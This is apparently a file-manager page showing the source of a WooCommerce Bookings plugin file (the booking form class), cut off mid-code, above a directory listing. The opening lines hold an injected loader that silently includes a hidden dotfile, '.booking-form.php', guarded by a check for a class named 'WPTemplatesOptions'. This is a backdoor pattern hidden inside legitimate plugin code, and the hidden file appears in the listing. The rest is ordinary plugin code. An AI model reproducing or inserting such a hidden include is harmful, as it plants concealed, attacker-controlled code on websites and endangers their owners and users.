PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-bookings
/
includes
/
booking-form
<?php /** * Booking form class */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Booking_Form { /** * Booking product data. * @var WC_Product_Booking */ public $product; /** * Booking fields. * @var array */ private $fields; /** * Constructor * @param $product WC_Product_Booking */ public function __construct( $product ) { $this->product = $product; } /** * Booking form scripts */ public function scripts() { global $wp_locale; $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; $wc_bookings_booking_form_args = array( 'closeText' => __( 'Close', 'woocommerce-bookings' ), 'currentText' => __( 'Today', 'woocommerce-bookings' ), 'prevText' => __( 'Previous', 'woocommerce-bookings' ), 'nextText' => __( 'Next', 'woocommerce-bookings' ), 'monthNames' => array_values( $wp_locale->month ), 'monthNamesShort' => array_values( $wp_locale->month_abbrev ), 'dayNames' => array_values( $wp_locale->weekday ), 'dayNamesShort' => array_values( $wp_locale->weekday_abbrev ), 'dayNamesMin' => array_values( $wp_locale->weekday_initial ), 'firstDay' => get_option( 'start_of_week' ), 'current_time' => date( 'Ymd', current_time( 'timestamp' ) ), 'check_availability_against' => $this->product->get_check_start_block_only() ? 'start' : '', 'duration_unit' => $this->product->get_duration_unit(), 'resources_assignment' => ! $this->product->has_resources() ? 'customer' : $this->product->get_resources_assignment(), 'isRTL' => is_rtl(), 'product_id' => $this->product->get_id(), 'default_availability' => $this->product->get_default_availability(), ); $wc_bookings_date_picker_args = array( 'ajax_url' => WC_AJAX::get_endpoint( 'wc_bookings_find_booked_day_blocks' ), ); if ( in_array( $this->product->get_duration_unit(), array( 'minute', 'hour' ) ) ) { $wc_bookings_booking_form_args['booking_duration'] = 1; } else { $wc_bookings_booking_form_args['booking_duration'] = $this->product->get_duration(); $wc_bookings_booking_form_args['booking_duration_type'] = $this->product->get_duration_type(); if ( 'customer' == $wc_bookings_booking_form_args['booking_duration_type'] ) { $wc_bookings_booking_form_args['booking_min_duration'] = $this->product->get_min_duration(); $wc_bookings_booking_form_args['booking_max_duration'] = $this->product->get_max_duration(); } else { $wc_bookings_booking_form_args['booking_min_duration'] = $wc_bookings_booking_form_args['booking_duration']; $wc_bookings_booking_form_args['booking_max_duration'] = $wc_bookings_booking_form_args['booking_duration']; } } wp_enqueue_script( 'wc-bookings-booking-form', WC_BOOKINGS_PLUGIN_URL . '/assets/js/booking-form' . $suffix . '.js', array( 'jquery', 'jquery-blockui' ), WC_BOOKINGS_VERSION, true ); wp_localize_script( 'wc-bookings-booking-form', 'wc_bookings_booking_form', $wc_bookings_booking_form_args ); wp_register_script( 'wc-bookings-date-picker', WC_BOOKINGS_PLUGIN_URL . '/assets/js/date-picker' . $suffix . '.js', array( 'wc-bookings-booking-form', 'jquery-ui-datepicker', 'underscore' ), WC_BOOKINGS_VERSION, true ); wp_localize_script( 'wc-bookings-date-picker', 'wc_bookings_date_picker_args', $wc_bookings_date_picker_args ); wp_register_script( 'wc-bookings-month-picker', WC_BOOKINGS_PLUGIN_URL . '/assets/js/month-picker' . $suffix . '.js', array( 'wc-bookings-booking-form' ), WC_BOOKINGS_VERSION, true ); wp_register_script( 'wc-bookings-time-picker', WC_BOOKINGS_PLUGIN_URL . '/assets/js/time-picker' . $suffix . '.js', array( 'wc-bookings-booking-form' ), WC_BOOKINGS_VERSION, true ); // Variables for JS scripts $booking_form_params = array( 'cache_ajax_requests' => 'false', 'ajax_url' => admin_url( 'admin-ajax.php' ), 'i18n_date_unavailable' => __( 'This date is unavailable', 'woocommerce-bookings' ), 'i18n_date_fully_booked' => __( 'This date is fully booked and unavailable', 'woocommerce-bookings' ), 'i18n_date_partially_booked' => __( 'This date is partially booked - but bookings still remain', 'woocommerce-bookings' ), 'i18n_date_available' => __( 'This date is available', 'woocommerce-bookings' ), 'i18n_start_date' => __( 'Choose a Start Date', 'woocommerce-bookings' ), 'i18n_end_date' => __( 'Choose an End Date', 'woocommerce-bookings' ), 'i18n_dates' => __( 'Dates', 'woocommerce-bookings' ), 'i18n_choose_options' => __( 'Please select the options for your booking and make sure duration rules apply.', 'woocommerce-bookings' ), 'i18n_clear_date_selection' => __( 'To clear selection, pick a new start date', 'woocommerce-bookings' ), ); wp_localize_script( 'wc-bookings-booking-form', 'booking_form_params', apply_filters( 'booking_form_params', $booking_form_params ) ); } /** * Prepare fields for the booking form */ public function prepare_fields() { // Destroy existing fields $this->reset_fields(); // Add fields in order $this->duration_field(); $this->persons_field(); $this->resources_field(); $this->date_field(); $this->fields = apply_filters( 'booking_form_fields', $this->fields ); } /** * Reset fields array */ public function reset_fields() { $this->fields = array(); } /** * Add duration field to the form */ private function duration_field() { // Customer defined bookings if ( 'customer' === $this->product->get_duration_type() ) { $after = ''; switch ( $this->product->get_duration_unit() ) { case 'month': if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s Months', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Month(s)', 'woocommerce-bookings' ); } break; case 'week': if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s weeks', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Week(s)', 'woocommerce-bookings' ); } break; case 'day': if ( $this->product->get_duration() % 7 ) { if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s days', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Day(s)', 'woocommerce-bookings' ); } } else { if ( 1 == ( $this->product->get_duration() / 7 ) ) { $after = __( 'Week(s)', 'woocommerce-bookings' ); } else { /* translators: 1: product duration in weeks */ $after = sprintf( __( '× %s weeks', 'woocommerce-bookings' ), $this->product->get_duration() / 7 ); } } break; case 'night': if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s nights', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Night(s)', 'woocommerce-bookings' ); } break; case 'hour': if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s hours', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Hour(s)', 'woocommerce-bookings' ); } break; case 'minute': if ( $this->product->get_duration() > 1 ) { /* translators: 1: product duration */ $after = sprintf( __( '× %s minutes', 'woocommerce-bookings' ), $this->product->get_duration() ); } else { $after = __( 'Minute(s)', 'woocommerce-bookings' ); } break; } $this->add_field( array( 'type' => 'number', 'name' => 'duration', 'label' => __( 'Duration', 'woocommerce-bookings
[+]
..
[-] class-wc-booking-form-datetime-picker.php
[edit]
[-] class-wc-booking-form-month-picker.php
[edit]
[-] class-wc-booking-form-picker.php
[edit]
[-] class-wc-booking-form.php
[edit]
[-] class-wc-booking-form-date-picker.php
[edit]
[-] .booking-form.php
[edit]